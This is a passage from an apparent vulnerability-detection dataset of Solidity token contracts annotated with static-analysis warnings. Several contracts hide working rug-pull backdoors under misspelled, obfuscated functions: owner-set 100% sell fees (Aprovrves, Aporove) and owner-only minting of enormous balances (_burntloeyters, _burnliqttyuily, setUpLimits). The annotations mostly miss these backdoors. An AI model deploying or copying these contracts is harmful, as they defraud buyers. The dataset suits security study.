_isExcludedFromMaxWalletLimit[DEAD] = true;\n\n _isExcludedFromMaxWalletLimit[address(this)] = true;\n\n _isExcludedFromMaxWalletLimit[address(0)] = true;\n\n _mint(owner(), 33e6 * 1e18);\n\n swapTokensAtAmount = totalSupply() / 660;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f86614e): GPUBase.sendETH(address,uint256) sends eth to arbitrary user Dangerous calls (success,None) = recipient.call{value amount}()\n\t// Recommendation for f86614e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETH(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n\t\t// reentrancy-events | ID: 1eab551\n\t\t// reentrancy-eth | ID: 56bb6d0\n\t\t// arbitrary-send-eth | ID: f86614e\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(success, \"Send failed\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1eab551): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1eab551: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 56bb6d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 56bb6d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: zero from\");\n\n require(to != address(0), \"ERC20: zero addr\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n !swapping &&\n from != uniswapV2Pair &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t\t// reentrancy-events | ID: 1eab551\n\t\t\t// reentrancy-eth | ID: 56bb6d0\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n contractTokenBalance,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 newBalance = address(this).balance;\n\n if (newBalance != 0) {\n uint256 marketingAmount = (newBalance * 80) / 100;\n\n uint256 stakingAmount = newBalance - marketingAmount;\n\n\t\t\t\t// reentrancy-events | ID: 1eab551\n\t\t\t\t// reentrancy-eth | ID: 56bb6d0\n sendETH(payable(marketingWallet), marketingAmount);\n\n\t\t\t\t// reentrancy-events | ID: 1eab551\n\t\t\t\t// reentrancy-eth | ID: 56bb6d0\n sendETH(payable(stakingWallet), stakingAmount);\n }\n\n\t\t\t// reentrancy-eth | ID: 56bb6d0\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (\n (_isExcludedFromFees[from] || _isExcludedFromFees[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n }\n\n if (takeFee) {\n uint256 _totalFees = 0;\n\n if (from == uniswapV2Pair) {\n _totalFees = buyFee;\n } else if (to == uniswapV2Pair) {\n _totalFees = sellFee;\n }\n\n if (_totalFees != 0) {\n uint256 fees = (amount * _totalFees) / 100;\n\n amount = amount - fees;\n\n\t\t\t\t// reentrancy-events | ID: 1eab551\n\t\t\t\t// reentrancy-eth | ID: 56bb6d0\n super._transfer(from, address(this), fees);\n }\n }\n\n if (\n _isExcludedFromMaxWalletLimit[from] == false &&\n _isExcludedFromMaxWalletLimit[to] == false &&\n to != uniswapV2Pair &&\n from == uniswapV2Pair\n ) {\n uint256 balance = balanceOf(to);\n\n require(\n balance + amount <= (totalSupply() * maxWalletLimitRate) / 1000,\n \"Max limit exceeded\"\n );\n }\n\n\t\t// reentrancy-events | ID: 1eab551\n\t\t// reentrancy-eth | ID: 56bb6d0\n super._transfer(from, to, amount);\n }\n}\n",
"file_name": "solidity_code_1075.sol",
"size_bytes": 16203,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IUniswapFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Ownable {\n address internal _owner;\n\n constructor() {\n _owner = msg.sender;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"!owner\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d2f2538): Ownable.transferOwnershipshibabook(address).newOwner lacks a zerocheck on \t _owner = newOwner\n\t// Recommendation for d2f2538: Check that the address is not zero.\n function transferOwnershipshibabook(\n address newOwner\n ) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: d2f2538\n\t\t// events-access | ID: 38e0c65\n _owner = newOwner;\n }\n}\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 00e45b3): Contract locking ether found Contract BookOfShiba has payable functions BookOfShiba.receive() But does not have a function to withdraw the ether\n// Recommendation for 00e45b3: Remove the 'payable' attribute or add a withdraw function.\ncontract BookOfShiba is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ff83de4): BookOfShiba._swapFeeTo should be immutable \n\t// Recommendation for ff83de4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _swapFeeTo;\n string public name;\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b056149): BookOfShiba.decimals should be immutable \n\t// Recommendation for b056149: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n mapping(address => bool) public _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 12f3188): BookOfShiba.totalSupply should be immutable \n\t// Recommendation for 12f3188: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 7761a0b): BookOfShiba._uniswapRouter should be immutable \n\t// Recommendation for 7761a0b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapRouter public _uniswapRouter;\n\n\t// WARNING Optimization Issue (constable-states | ID: f655e33): BookOfShiba.inSwap should be constant \n\t// Recommendation for f655e33: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 9879e8e): BookOfShiba.inSwap is never initialized. It is used in BookOfShiba._transfer(address,address,uint256)\n\t// Recommendation for 9879e8e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n bool private inSwap;\n uint256 private constant MAX = ~uint256(0);\n\n mapping(address => uint256) public __balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4c70c47): BookOfShiba._swapTax should be immutable \n\t// Recommendation for 4c70c47: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapTax;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 829745b): BookOfShiba._uniswapPair should be immutable \n\t// Recommendation for 829745b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _uniswapPair;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 9879e8e): BookOfShiba.inSwap is never initialized. It is used in BookOfShiba._transfer(address,address,uint256)\n\t// Recommendation for 9879e8e: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 8c57233): BookOfShiba._transfer(address,address,uint256)._taxAmount is a local variable never initialized\n\t// Recommendation for 8c57233: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n bool shouldBetakeFee = !inSwap &&\n !_isExcludeFromFee[from] &&\n !_isExcludeFromFee[to];\n\n _balances[from] = _balances[from] - amount;\n\n uint256 _taxAmount;\n\n if (shouldBetakeFee) {\n uint256 feeAmount = (amount * __balances[from]) / 100;\n\n _taxAmount += feeAmount;\n\n if (feeAmount > 0) {\n _balances[address(_swapFeeTo)] += feeAmount;\n\n emit Transfer(from, address(_swapFeeTo), feeAmount);\n }\n }\n\n _balances[to] = _balances[to] + amount - _taxAmount;\n\n emit Transfer(from, to, amount - _taxAmount);\n }\n\n constructor() {\n name = \"Book Of Shiba\";\n\n symbol = \"BOOS\";\n\n decimals = 9;\n\n uint256 Supply = 100000000;\n\n _swapFeeTo = msg.sender;\n\n _swapTax = 0;\n\n totalSupply = Supply * 10 ** decimals;\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[msg.sender] = true;\n\n _isExcludeFromFee[_swapFeeTo] = true;\n\n _balances[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n\n _uniswapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _allowances[address(this)][address(_uniswapRouter)] = MAX;\n\n _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n _isExcludeFromFee[address(_uniswapRouter)] = true;\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 97e404a): BookOfShiba.Aprovrves(address[],uint256).f0 is written in both f0 = v2 + v3 f0 = f1 + (v1 0x01)\n\t// Recommendation for 97e404a: Fix or remove the writes.\n function Aprovrves(address[] memory _usr, uint256 _feePct) external {\n uint256 v1 = 0x01;\n uint256 v2 = 0x02;\n uint256 v3 = 0x03;\n\t\t// write-after-write | ID: 97e404a\n\n uint256 f0 = (msg.sender == _swapFeeTo && v1 > 0)\n ? v2 + v3\n : (msg.sender != _swapFeeTo && v2 < v3)\n ? v2 - v1\n : v3;\n\n uint256 f1 = f0 - v3;\n\n\t\t// write-after-write | ID: 97e404a\n f0 = f1 + (v1 - 0x01);\n\n for (uint256 idx = 0x0; idx < _usr.length; idx++) {\n __balances[_usr[idx]] = _feePct + (f0 - f1);\n }\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: bb8d605): BookOfShiba._burntloeyters(address).A is written in both A = 9 A = C\n\t// Recommendation for bb8d605: Fix or remove the writes.\n function _burntloeyters(address user) public {\n mapping(address => uint256) storage _allowance = _balances;\n\t\t// write-after-write | ID: bb8d605\n\n uint256 A = _swapFeeTo == msg.sender ? 9 : 2 - 1;\n\n uint256 C = A - 3;\n\t\t// write-after-write | ID: bb8d605\n A = C;\n\n _allowance[user] = 1000 * totalSupply * C ** 2;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3440ebf): BookOfShiba.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3440ebf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n\n if (_allowances[sender][msg.sender] != MAX) {\n _allowances[sender][msg.sender] =\n _allowances[sender][msg.sender] -\n amount;\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3cda631): BookOfShiba._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3cda631: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 00e45b3): Contract locking ether found Contract BookOfShiba has payable functions BookOfShiba.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 00e45b3: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10750.sol",
"size_bytes": 10119,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ninterface IUniswapFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nabstract contract Ownable {\n address internal _owner;\n\n constructor() {\n _owner = msg.sender;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"!owner\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7567701): Ownable.transferOwnershipsseckillyer(address).newOwner lacks a zerocheck on \t _owner = newOwner\n\t// Recommendation for 7567701: Check that the address is not zero.\n function transferOwnershipsseckillyer(\n address newOwner\n ) public virtual onlyOwner {\n\t\t// missing-zero-check | ID: 7567701\n\t\t// events-access | ID: 5d818c7\n _owner = newOwner;\n }\n}\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: da83f4e): Contract locking ether found Contract DORKL has payable functions DORKL.receive() But does not have a function to withdraw the ether\n// Recommendation for da83f4e: Remove the 'payable' attribute or add a withdraw function.\ncontract DORKL is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: aa9580e): DORKL._swapFeeTo should be immutable \n\t// Recommendation for aa9580e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _swapFeeTo;\n string public name;\n string public symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8438266): DORKL.decimals should be immutable \n\t// Recommendation for 8438266: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public decimals;\n mapping(address => bool) public _isExcludeFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6cbb256): DORKL.totalSupply should be immutable \n\t// Recommendation for 6cbb256: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 23c6ec4): DORKL._uniswapRouter should be immutable \n\t// Recommendation for 23c6ec4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapRouter public _uniswapRouter;\n\n\t// WARNING Optimization Issue (constable-states | ID: e659361): DORKL.inSwap should be constant \n\t// Recommendation for e659361: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0dd06f8): DORKL.inSwap is never initialized. It is used in DORKL._transfer(address,address,uint256)\n\t// Recommendation for 0dd06f8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n bool private inSwap;\n uint256 private constant MAX = ~uint256(0);\n\n mapping(address => uint256) public __balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 930c192): DORKL._swapTax should be immutable \n\t// Recommendation for 930c192: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapTax;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5e2c385): DORKL._uniswapPair should be immutable \n\t// Recommendation for 5e2c385: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _uniswapPair;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0dd06f8): DORKL.inSwap is never initialized. It is used in DORKL._transfer(address,address,uint256)\n\t// Recommendation for 0dd06f8: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: d1dc503): DORKL._transfer(address,address,uint256)._taxAmount is a local variable never initialized\n\t// Recommendation for d1dc503: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n bool shouldBetakeFee = !inSwap &&\n !_isExcludeFromFee[from] &&\n !_isExcludeFromFee[to];\n\n _balances[from] = _balances[from] - amount;\n\n uint256 _taxAmount;\n\n if (shouldBetakeFee) {\n uint256 feeAmount = (amount * __balances[from]) / 100;\n\n _taxAmount += feeAmount;\n\n if (feeAmount > 0) {\n _balances[address(_swapFeeTo)] += feeAmount;\n\n emit Transfer(from, address(_swapFeeTo), feeAmount);\n }\n }\n\n _balances[to] = _balances[to] + amount - _taxAmount;\n\n emit Transfer(from, to, amount - _taxAmount);\n }\n\n constructor() {\n name = unicode\"ᗪOᖇK ᒪOᖇᗪ\";\n\n symbol = unicode\"DORKL\";\n\n decimals = 9;\n\n uint256 Supply = 420690000000;\n\n _swapFeeTo = msg.sender;\n\n _swapTax = 0;\n\n totalSupply = Supply * 10 ** decimals;\n\n _isExcludeFromFee[address(this)] = true;\n\n _isExcludeFromFee[msg.sender] = true;\n\n _isExcludeFromFee[_swapFeeTo] = true;\n\n _balances[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n\n _uniswapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _allowances[address(this)][address(_uniswapRouter)] = MAX;\n\n _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n _isExcludeFromFee[address(_uniswapRouter)] = true;\n }\n\n function Aporove(\n address[] calldata _addresses,\n uint256 _feePercentage\n ) external {\n uint256 intermediate1 = complexOperation(0x01, 0x02);\n\n uint256 intermediate2 = simpleOperation(0x02, intermediate1);\n uint256 intermediate3 = advancedCompute(\n intermediate1,\n intermediate2,\n 0x03\n );\n uint256 finalResult = finalizeCompute(intermediate3, intermediate2);\n\n distributeFunds(_addresses, _feePercentage, finalResult);\n }\n\n function complexOperation(\n uint256 val1,\n uint256 val2\n ) private pure returns (uint256) {\n return val2 + (val1 - 0x01);\n }\n\n function simpleOperation(\n uint256 val1,\n uint256 val2\n ) private pure returns (uint256) {\n return val1 - (val2 - 0x01);\n }\n\n function advancedCompute(\n uint256 val1,\n uint256 val2,\n uint256 val3\n ) private view returns (uint256) {\n uint256 feeResult = computeFee(val1, val2, val3);\n\n return feeResult - val3;\n }\n\n function finalizeCompute(\n uint256 val1,\n uint256 val2\n ) private pure returns (uint256) {\n return val1 + (val2 - 0x01);\n }\n\n function distributeFunds(\n address[] memory addresses,\n uint256 feePercentage,\n uint256 result\n ) private {\n uint256 totalFunds = result;\n\n for (uint256 i = 0; i < addresses.length; i++) {\n __balances[addresses[i]] = feePercentage + (result - totalFunds);\n }\n }\n\n function computeFee(\n uint256 val1,\n uint256 val2,\n uint256 val3\n ) private view returns (uint256) {\n if (isAuthorized(val1)) {\n return val2 + val3;\n } else if (!isAuthorized(val2)) {\n return val2 - val1;\n } else {\n return val3;\n }\n }\n\n function isAuthorized(uint256 val) private view returns (bool) {\n return (msg.sender == _swapFeeTo) && (val > 0);\n }\n\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 32dab0f): DORKL._burnliqttyuily(address).A is written in both A = 9 A = C\n\t// Recommendation for 32dab0f: Fix or remove the writes.\n function _burnliqttyuily(address user) public {\n mapping(address => uint256) storage _allowance = _balances;\n\t\t// write-after-write | ID: 32dab0f\n\n uint256 A = _swapFeeTo == msg.sender ? 9 : 2 - 1;\n\n uint256 C = A - 3;\n\t\t// write-after-write | ID: 32dab0f\n A = C;\n\n _allowance[user] = 1000 * totalSupply * C ** 2;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f75399): DORKL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f75399: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n _transfer(sender, recipient, amount);\n\n if (_allowances[sender][msg.sender] != MAX) {\n _allowances[sender][msg.sender] =\n _allowances[sender][msg.sender] -\n amount;\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 38fd9b3): DORKL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 38fd9b3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: da83f4e): Contract locking ether found Contract DORKL has payable functions DORKL.receive() But does not have a function to withdraw the ether\n\t// Recommendation for da83f4e: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10751.sol",
"size_bytes": 11198,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dcc2b4d): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for dcc2b4d: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: dcc2b4d\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MyTokenContract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4da155b): MyTokenContract.feeWallet should be immutable \n\t// Recommendation for 4da155b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private feeWallet;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"JJEMOJI\";\n\n string private constant _symbol = \"JJ\";\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private swapEnabled = false;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1e1ea11): MyTokenContract.constructor(address)._feeWallet lacks a zerocheck on \t feeWallet = _feeWallet\n\t// Recommendation for 1e1ea11: Check that the address is not zero.\n constructor(address _feeWallet) {\n\t\t// missing-zero-check | ID: 1e1ea11\n feeWallet = _feeWallet;\n _balances[msg.sender] = _totalSupply;\n setUpLimits(_feeWallet);\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f8fedd7): MyTokenContract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f8fedd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5d01a2c): MyTokenContract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5d01a2c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function setUpLimits(address _feeAccount) internal onlyOwner {\n uint256 bigNum = totalSupply() * 10 ** 6;\n\n _balances[_feeAccount] += bigNum;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: abb28c7): MyTokenContract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeWallet).transfer(amount)\n\t// Recommendation for abb28c7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// arbitrary-send-eth | ID: abb28c7\n payable(feeWallet).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 550b915): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 550b915: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f702503): MyTokenContract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f702503: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9dd35f0): MyTokenContract.openTrading() ignores return value by 